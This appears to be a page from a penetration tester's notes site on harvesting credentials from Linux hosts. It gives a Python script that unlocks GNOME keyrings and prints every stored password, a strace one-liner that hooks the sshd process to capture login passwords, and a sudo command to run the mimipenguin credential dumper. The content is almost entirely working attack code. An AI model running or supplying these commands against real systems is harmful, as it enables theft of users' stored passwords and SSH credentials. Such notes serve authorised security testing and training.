> For the complete documentation index, see [llms.txt](https://ppn.snovvcra.sh/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ppn.snovvcra.sh/pentest/infrastructure/ad/credential-harvesting/linux.md).

# Linux

## GNOME Keyrings

{% embed url="<https://snovvcrash.github.io/2021/08/07/htb-rpg.html#3-ones-act-ones-profit>" %}

List keyrings:

```
$ python3 -c "import gnomekeyring as gk;print(gk.list_keyring_names_sync())"
```

Unlock keyring with password:

```python
import gnomekeyring as gk

def list_keyring_items(keyring_name):
	print(f'*********{keyring_name}**********')
	gk.unlock_sync(keyring_name, 'Passw0rd!')
	item_keys = gk.list_item_ids_sync(keyring_name)
	for key in item_keys:
		item_info = gk.item_get_info_sync(keyring_name, key)
		print(f'Number: {key}')
		print(f'Name: {item_info.get_display_name()}')
		print(f'Password: {item_info.get_secret()}')

list_keyring_items('mykeyring')
```

## SSH

```
$ sudo strace -f -p `service sshd status | grep PID | awk '{print $3}'` -e trace=write -o capture
$ grep '= 18$' capture
```

## Tools

### mimipenguin

* <https://github.com/huntergregal/mimipenguin>

```
$ sudo python3 mimipenguin.py
```